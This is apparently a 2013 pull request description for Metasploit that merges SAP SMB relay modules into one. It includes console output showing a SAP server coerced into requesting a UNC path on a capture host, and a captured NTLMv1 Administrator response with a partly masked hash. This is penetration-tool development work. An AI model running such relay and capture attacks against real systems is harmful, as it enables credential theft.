nmonkee/metasploit-framework — pull request #11 by jvazquez-r7 (2013-05-15 01:58:27+00:00)
Title: SAP SMB Relay Abuses

Hi @nmonkee,

This pull request references https://github.com/rapid7/metasploit-framework/pull/1656, https://github.com/rapid7/metasploit-framework/pull/1792 , https://github.com/rapid7/metasploit-framework/pull/1793 and https://github.com/rapid7/metasploit-framework/pull/1794

It tries to merge the different modules abusing the SMB Relay attacks in just one auxiliary module. In order to select the ABUSE to use the appropiate datastore option is used. At the moment the only abuse tested successfully has been https://github.com/rapid7/metasploit-framework/pull/1656

```
msf auxiliary(sap_smb_relay) > run

[*] 192.168.172.190:8000 - Sending request for \\192.168.172.1\tywljuo.ixz
[+] 192.168.172.190:8000 - SMB Relay looks successful, check your SMB capture machine
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

On the capture:

```
msf auxiliary(smb) > [*] SMB Captured - 2013-05-14 20:27:54 -0500
NTLMv1 Response Captured from 192.168.172.190:62822 - 192.168.172.190
USER:Administrator DOMAIN:GATEWAY OS: LM:
LMHASH:Disabled
NTHASH:blah3c19240blahblahblablah3a3fa9aablahblahblah

```

On the other hand I'm not able to run https://github.com/rapid7/metasploit-framework/pull/1792 neither https://github.com/rapid7/metasploit-framework/pull/1794 until the moment. The original modules aren't working for me neither.

Finally I would need you to provide help to test https://github.com/rapid7/metasploit-framework/pull/1793 since I havent access to a JAVA stack.